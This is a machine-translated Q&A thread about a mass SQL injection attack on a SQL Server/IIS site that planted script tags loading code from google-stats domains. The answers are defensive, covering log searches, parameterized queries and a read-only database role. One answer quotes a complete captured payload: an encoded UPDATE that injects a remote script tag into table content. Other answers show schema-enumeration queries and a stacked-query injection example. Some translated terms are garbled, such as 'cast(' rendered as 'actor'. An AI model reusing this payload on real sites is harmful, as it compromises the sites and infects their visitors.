有没有人发现这是怎么做的? SQL注入

时间:2010-09-22 19:14:39

标签: sql-server iis sql-injection

由于许多其他网站被击中,我必须假设它是一个机器人!

它注入了一个脚本: 昨天:http://google-stats50.info/ur.php 今天:http://google-stats49.info/ur.php

它将它注入多个表格。

首先,它是如何识别表和列的?

其次,我应该在日志中搜索什么来识别源页面?

我们的任何服务器上都没有ftp。我们有1个联系表格,但它是电子邮件,甚至没有连接到数据库。

我们正在使用SQL Server和IIS。

5 个答案:

答案 0 :(得分:6)

您可能有一个页面没有验证/清理用户输入。用于向SQL查询提供参数的TextBoxes和QueryStrings在SQL注入攻击中经常被利用(尽管有其他方法......)。除此之外,您可能在访问数据库时不使用参数化查询。

这将导致一个受伤的世界。

他们很可能通过查询系统表来找出您的数据库结构:

SELECT *
FROM sys.Tables

列名:

SELECT *
FROM sys.columns

您应该看一些链接:

如果这是我的网站,我会放弃一切,直到网站受到保护。您的站点和数据库处于严重危险之中。

答案 1 :(得分:3)

这种特殊的攻击不像过去那些循环通过系统对象表的攻击是通过分析你的错误页面然后构建专门针对已知表和fiels的新的更新查询来完成的。

您可以通过查看您的网络服务器日志找到该洞。寻找“cast(”,即使不是所有sql注入攻击,也可以找到它。

以下是从我的日志中获取的一些数据的示例,以便您可以看到正在执行的操作。

祝你好运

2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:

答案 2 :(得分:1)

他正在做的是在网上寻找“.asp?product-id =”并使用它来注入。上面的那个人应该被册封并送到罗马。这就是你如何处理这个问题:

  1. 转到您的Windows Web服务器。
  2. 转到搜索。
  3. 搜索文件中的内容。寻找“演员”(
  4. 如果他在您的某个网站中,它会显示在搜索日志中。
  5. 在wordpad中打开日志。找一个“演员”(
  6. 当你看到它时,你会知道的。这是一个明显的黑客攻击。它不必是Update语句。此注入针对select语句。记下页面名称。
  7. 进入MS SQL控制台。
  8. 创建服务器角色。称之为数据库读取或其他。
  9. 在控制台中进入您的数据库。翻倒安全性。
  10. 找到角色。给它数据库读者和denywirter privledges。
  11. 下载您的网页。
  12. 将连接字符串从sa(或其他)更改为数据库读取。确保它只读取了特权,而没有别的。
  13. 测试你的页面。
  14. 进入IIS并关闭您网站的错误消息,如下所示。获取站点上的属性,选择主目录,单击配置,单击调试选项卡。关闭错误消息。
  15. 这应该保护您的网站(希望如此)。

答案 3 :(得分:0)

您网站上的任何查询字符串参数是否直接导入数据库?几年前我发生了类似的事情 - 非常类似的SQL注入,脚本进入多个表,多列。原来我们在查询字符串中直接使用了一个数字字段,没有输入过滤(我们这样做),允许攻击者做这样的事情:

选择a,b,c FROM表WHERE d = 0; UPDATE表SET col ='script'; -

其中put“0; UPDATE表SET col ='script'; - ”进入查询字符串。

答案 4 :(得分:0)

我不知道这个特定黑客的细节。

如果它与我几年前看到的尝试有关,虽然this link将有助于解释

  1. 他们是如何做到的。
  2. 在IIS日志中查找以识别问题网页的内容